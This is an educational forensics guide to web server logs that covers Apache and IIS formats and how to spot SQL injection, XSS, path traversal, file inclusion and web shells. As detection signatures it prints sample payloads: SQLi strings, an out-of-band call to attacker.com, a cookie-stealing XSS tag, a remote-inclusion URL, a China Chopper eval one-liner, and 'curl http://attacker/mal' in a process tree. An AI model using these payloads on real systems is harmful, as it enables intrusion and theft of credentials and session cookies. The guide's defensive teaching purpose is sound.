13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection

13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection

Quick Answer: Web server forensics centers on decoding HTTP transactions recorded across access, error, and application logs. The Apache/Nginx Combined Log Format records client IP, authenticated user, timestamp, request line, HTTP status code, bytes sent, HTTP referer, and user-agent string. Microsoft IIS W3C Extended Log Format logs fields governed by the #Fields: directive, defaulting strictly to Coordinated Universal Time (UTC). IIS provides three distinct status codes per request: HTTP status (sc-status), substatus (sc-substatus), and underlying Windows error code (sc-win32-status). Investigating web attacks requires identifying SQL Injection (SQLi) primitives (UNION SELECT, ' OR '1'='1, WAITFOR DELAY), Cross-Site Scripting (XSS) tags in query strings or referrers, and Directory Traversal patterns (../..%2f). Stealth web shells (such as China Chopper) feature high Shannon entropy, receive repetitive HTTP POST requests with 200 OK statuses, and trigger anomalous process lineages where the web worker process (w3wp.exe on Windows or www-data on Linux) spawns interactive command shells (cmd.exe, powershell.exe, /bin/sh).

---

Web Server Architecture & Logging Paradigms

Web applications operate within a multi-tiered architecture consisting of the client browser, a front-end web server (Apache, Nginx, Microsoft IIS), an application execution engine (PHP, ASP.NET, Node.js, Python WSGI), and a backend database management system (MSSQL, MySQL, PostgreSQL, Oracle).

+-------------------------------------------------------------------------+
|                   DEFAULT WEB SERVER LOG DIRECTORIES                    |
+-------------------------------------------------------------------------+
| Web Server Engine | Operating System | Default Log File Locations       |
|-------------------|------------------|----------------------------------|
| **Apache HTTPD**  | Linux (Debian)   | /var/log/apache2/access.log      |
|                   |                  | /var/log/apache2/error.log       |
|                   | Linux (RHEL)     | /var/log/httpd/access_log        |
|                   |                  | /var/log/httpd/error_log         |
| **Nginx**         | Linux            | /var/log/nginx/access.log        |
|                   |                  | /var/log/nginx/error.log         |
| **Microsoft IIS** | Windows Server   | %SystemDrive%\inetpub\logs\      |
|                   |                  | LogFiles\W3SVC[SiteID]\u_ex[YYMMDD].log |
+-------------------------------------------------------------------------+

The Forensic Significance of HTTP Methods

• GET: Requests data from the specified resource. Query parameters are appended directly to the URL (?id=10&cat=books), meaning GET-based attacks are preserved directly in web server access logs.
• POST: Submits data to be processed to a specified resource. Payloads reside in the HTTP message body. Standard web server access logs DO NOT record HTTP POST request bodies by default to conserve disk space and prevent credential harvesting. Forensic evidence of POST-based attacks must be inferred from the target URI stem, request method, byte count (cs-bytes and sc-bytes), error logs, or network packet captures.
• HEAD, PUT, DELETE, OPTIONS: OPTIONS is frequently used by automated vulnerability scanners (Nikto, Nessus) to enumerate server capabilities; PUT may indicate direct web shell upload if WebDAV or insecure HTTP methods are enabled.

---

Apache and Nginx Combined Log Format

The Combined Log Format is the industry standard for Apache and Nginx web servers. It expands the legacy Common Log Format (CLF) by appending the Referer and User-Agent HTTP request headers.

Combined Log Format Directive:
 LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

Sample Apache Log Entry:
 198.51.100.45 - admin [22/Sep/2026:14:22:10 -0400] "GET /admin/users.php?id=1%27%20OR%201=1-- HTTP/1.1" 200 4521 "https://example.com/admin/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

+-------------------------------------------------------------------------+
|               APACHE COMBINED LOG FORMAT TOKEN DISSECTION               |
+-------------------------------------------------------------------------+
| Token  | Field Name          | Sample Value          | Forensic Significance |
|--------|---------------------|-----------------------|-----------------------|
| **%h** | Remote Client Host  | 198.51.100.45         | Attacker IP or proxy  |
| **%l** | Remote Logname      | -                     | Identd output (rare)  |
| **%u** | Authenticated User  | admin                 | Logged-in username    |
| **%t** | Event Timestamp     | [22/Sep/2026:14:22...]| Local time + UTC offset|
| **%r** | Request Line        | "GET /admin/users..." | Method, URI, Protocol |
| **%>s**| Final Status Code   | 200                   | HTTP Response Code    |
| **%b** | Bytes Sent (Payload)| 4521                  | Response size to client|
| Referer| HTTP Referer Header | "https://...login.php"| Originating web page  |
| User-A | HTTP User-Agent     | "Mozilla/5.0..."      | Client browser/tool   |
+-------------------------------------------------------------------------+

[!NOTE] Apache log timestamps incorporate the local server timezone offset (e.g., -0400 for Eastern Daylight Time). When constructing a multi-source forensic timeline, investigators must convert these timestamps to Coordinated Universal Time (UTC).

---

Microsoft IIS W3C Extended Log Format

Microsoft Internet Information Services (IIS) utilizes the W3C Extended Log Format, a space-delimited text format prefixed with metadata comments.

The #Fields: Directive

The first lines of an IIS log file define the active schema:

#Software: Microsoft Internet Information Services 10.0
#Version: 1.0
#Date: 2026-09-22 18:22:10
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken

Deciphering IIS W3C Prefixes

• s-: Server action/attribute (e.g., s-ip = Destination Server IP, s-port = Server listening port).
• c-: Client action/attribute (e.g., c-ip = Source Client IP).
• cs-: Client-to-Server transmission (e.g., cs-method = HTTP verb, cs-uri-stem = target path, cs-uri-query = URL parameters).
• sc-: Server-to-Client transmission (e.g., sc-status = HTTP response code, sc-bytes = bytes returned).

+-------------------------------------------------------------------------+
|               CRITICAL MICROSOFT IIS STATUS & SUBSTATUS CODES           |
+-------------------------------------------------------------------------+
| sc-status | sc-substatus | sc-win32 | Meaning & Forensic Interpretation |
|-----------|--------------|----------|-----------------------------------|
| **200**   | 0            | 0        | OK; request executed successfully |
| **401**   | 1            | 0        | Logon failed: Invalid credentials |
| **401**   | 2            | 0        | Logon failed: Server configuration|
| **403**   | 1            | 0        | Forbidden: Execute access denied  |
| **403**   | 4            | 0        | Forbidden: SSL required           |
| **403**   | 14           | 0        | Forbidden: Directory listing      |
|           |              |          | denied (attacker enumerating dirs)|
| **404**   | 0            | 2        | Not Found (Win32 2 = File not found)|
| **404**   | 3            | 0        | Denied by MIME type restriction   |
|           |              |          | (Server blocked prohibited ext.)  |
| **500**   | 0            | 0        | Internal Server Error (frequently |
|           |              |          | triggers on unhandled SQL syntax) |
+-------------------------------------------------------------------------+

Crucial Exam Distinction: UTC Default in IIS

Unlike Apache, which writes local server time with a timezone offset, Microsoft IIS logs timestamps strictly in Coordinated Universal Time (UTC) by default. If an incident occurs on a server physically located in New York (EDT, UTC-4) at 10:00 AM local time, the event is recorded in the IIS log at 14:00:00. Failing to account for this 4-hour offset leads to complete misidentification of attacker activity.

Microsoft LogParser Forensic Querying

LogParser.exe is the premier command-line utility for querying massive IIS log files using SQL-like syntax:

:: Querying IIS logs for SQL Injection attempts resulting in Internal Server Errors
LogParser.exe -i:W3C "SELECT date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query, sc-status, sc-substatus FROM C:\inetpub\logs\LogFiles\W3SVC1\*.log WHERE sc-status=500 AND (cs-uri-query LIKE '%SELECT%' OR cs-uri-query LIKE '%UNION%')" -o:DATAGRID

---

Investigating Web Application Attacks

1. SQL Injection (SQLi) Forensics

SQL Injection occurs when untrusted user input is directly concatenated into a dynamic SQL query string executed by the database engine.

+-------------------------------------------------------------------------+
|                    SQL INJECTION FORENSIC SIGNATURES                    |
+-------------------------------------------------------------------------+
| SQLi Technique      | Signature Pattern in Access Logs / Queries        |
|---------------------|---------------------------------------------------|
| **Tautology / Auth**| ' OR '1'='1' --  |  ' OR 1=1#  |  admin' --       |
| **Bypass**          | URL-encoded: %27%20OR%201%3D1--                   |
|---------------------|---------------------------------------------------|
| **UNION Extraction**| ' UNION SELECT null, username, password FROM users--|
|                     | URL-encoded: %27%20UNION%20SELECT%20...           |
|---------------------|---------------------------------------------------|
| **Error-Based**     | ' AND 1=CONVERT(int, (SELECT @@version))--         |
|                     | Produces sc-status 500 error in IIS logs          |
|---------------------|---------------------------------------------------|
| **Blind Time-Based**| '; WAITFOR DELAY '0:0:5'--  (MSSQL)                |
|                     | ' AND (SELECT sleep(5))--   (MySQL)               |
|                     | Observable via IIS time-taken field (> 5000 ms)   |
|---------------------|---------------------------------------------------|
| **Out-of-Band (OOB)**| '; EXEC master..xp_dirtree '\\attacker.com\share'--|
|                     | Triggers external SMB/DNS resolution in PCAP      |
+-------------------------------------------------------------------------+

Forensic Indicators of SQLi in Logs:

• Encoding: Attackers utilize standard URL encoding (%27 = ', %20 = space, %22 = ", %23 = #), double encoding (%2527), or hex representations to bypass web application firewall (WAF) filters.
• Response Size (sc-bytes / %b): A sudden fluctuation in returned payload size—such as a catalog search that typically returns 1,200 bytes suddenly returning 450,000 bytes—indicates unauthorized mass data extraction via UNION SELECT.
• Execution Duration (time-taken): In blind SQL injection, the attacker injects time delay functions. An IIS log exhibiting consecutive requests where time-taken increases systematically from 5012 to 10025 ms provides definitive proof of automated blind SQL injection scripts (e.g., sqlmap).

2. Cross-Site Scripting (XSS) Forensics

Cross-Site Scripting involves injecting malicious client-side JavaScript into web applications to execute within a victim's browser session.

• Reflected XSS: The malicious payload is embedded in a URL parameter or HTTP header and reflected off the web server in the immediate response. Reflected XSS is directly observable in access logs within cs-uri-query or cs(Referer).
• Stored XSS: The malicious script is permanently stored in a database, forum post, or comment field. When legitimate users view the page, the script executes. Stored XSS does not appear in access logs during execution; investigators must audit backend database records and administrative submission logs.
• DOM-Based XSS: The vulnerability exists entirely within client-side JavaScript executing in the browser (e.g., reading from location.hash and writing to document.write). The payload is processed client-side and never reaches the web server, leaving zero traces in server access logs.

Common XSS Log Signatures:
 <script>alert(document.cookie)</script>
 URL-Encoded: %3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
 Event Handlers: <img src=x onerror=this.src='http://attacker.com/steal?c='+document.cookie>

3. Directory Traversal & LFI / RFI Forensics

• Directory Traversal (Path Traversal): Exploits insufficient input validation to escape the web document root using dot-dot-slash sequences (../ or ..\), accessing sensitive operating system configuration files.
  • UNIX Targets: /etc/passwd, /etc/shadow, /var/log/auth.log.
  • Windows Targets: C:\Windows\win.ini, C:\boot.ini, C:\Windows\System32\drivers\etc\hosts.
  • Encoded Traversal Variations: %2e%2e%2f (../), %252e%252e%252f (double encoded), ..%c0%af (UTF-8 overlong encoding bypass).
• Local File Inclusion (LFI): Forces the web application to execute an existing local file on the server (e.g., index.php?page=../../../../var/log/apache2/access.log). Adversaries inject PHP code into their HTTP User-Agent header, request the page, and then use LFI to execute the access log (known as Log Poisoning).
• Remote File Inclusion (RFI): Forces the server to download and execute code hosted on an external remote server (e.g., index.php?page=http://attacker.com/evil.php). Identifiable in logs by full URL prefixes (http://, https://, ftp://) residing in URI parameter strings.

---

Web Shell Forensic Detection & Investigation

A web shell is a malicious script uploaded to a web server that provides adversaries with an administrative backdoor, file manager, and remote command execution interface.

+-------------------------------------------------------------------------+
|                    COMMON WEB SHELL FAMILIES                            |
+-------------------------------------------------------------------------+
| Web Shell Family | Script Type | Key Structural Characteristics        |
|------------------|-------------|----------------------------------------|
| **China Chopper**| ASPX, PHP,  | Minimalist "one-liner" shell (4 KB or  |
|                  | JSP         | 73 bytes). Uses eval() with POST var:  |
|                  |             | <?php @eval($_POST['password']);?>     |
| **C99 / WSO**    | PHP         | Heavyweight graphical interface;       |
|                  |             | file browsing, SQL console, brute force|
| **b374k**        | PHP         | Obfuscated base64 shell with packing   |
| **Weevely**      | PHP         | Stealth CLI web shell simulating Telnet|
+-------------------------------------------------------------------------+

Forensic Indicators of Web Shells on Disk

1. High Shannon Entropy: Web shells almost universally employ multi-layer obfuscation (eval(gzinflate(base64_decode(...)))) or dynamic character construction to evade static antivirus signatures, resulting in abnormally high entropy (> 6.0).
2. Timestomping: Attackers alter the $STANDARD_INFORMATION attribute on NTFS to match surrounding legitimate system files. Comparing $STANDARD_INFORMATION with $FILE_NAME timestamps in the Master File Table (MFT) exposes timestomped web shells.
3. Unusual Script Locations: Web execution scripts residing within upload-only media directories (e.g., /wp-content/uploads/2026/09/profile.php or /images/banner.aspx).

Access Log Signatures of Web Shell Interaction

• Continuous POST Requests to a Single Endpoint: While normal web users submit occasional GET and POST requests, an adversary interacting with a web shell generates dozens of consecutive HTTP POST requests to an obscure script path with 200 OK status codes.
• Low Inbound / High Outbound Payload Differential: A short POST request (e.g., sending whoami or dir) generates a 40-byte client request (cs-bytes) but returns an enormous server payload (sc-bytes = 150,000 bytes) containing command output or file listings.
• Missing or Forged Referer Headers: Web shell management clients (e.g., the China Chopper GUI client) frequently submit requests without an HTTP Referer header or with a hardcoded static string.

Process Lineage & Child Execution Anomalies

The definitive proof of web shell execution resides in operating system process creation logs (Windows Security Event ID 4688 or Sysmon Event ID 1).

Windows IIS Process Tree:                   Linux Apache Process Tree:

w3wp.exe (IIS Worker Process)               apache2 / httpd (www-data)
  │                                           │
  └── cmd.exe / powershell.exe                └── /bin/sh or /bin/bash
        │                                           │
        ├── whoami.exe                              ├── whoami
        ├── net.exe user                            ├── cat /etc/shadow
        └── certutil.exe -urlcache                  └── curl http://attacker/mal

Under normal operations, the IIS worker process (w3wp.exe) and Linux web daemons (apache2, httpd, nginx) should never spawn interactive command interpreters (cmd.exe, powershell.exe, /bin/sh, /bin/bash). Any instance of w3wp.exe serving as the Parent Process ID (PPID) for a command shell represents active web shell execution or remote code execution (RCE).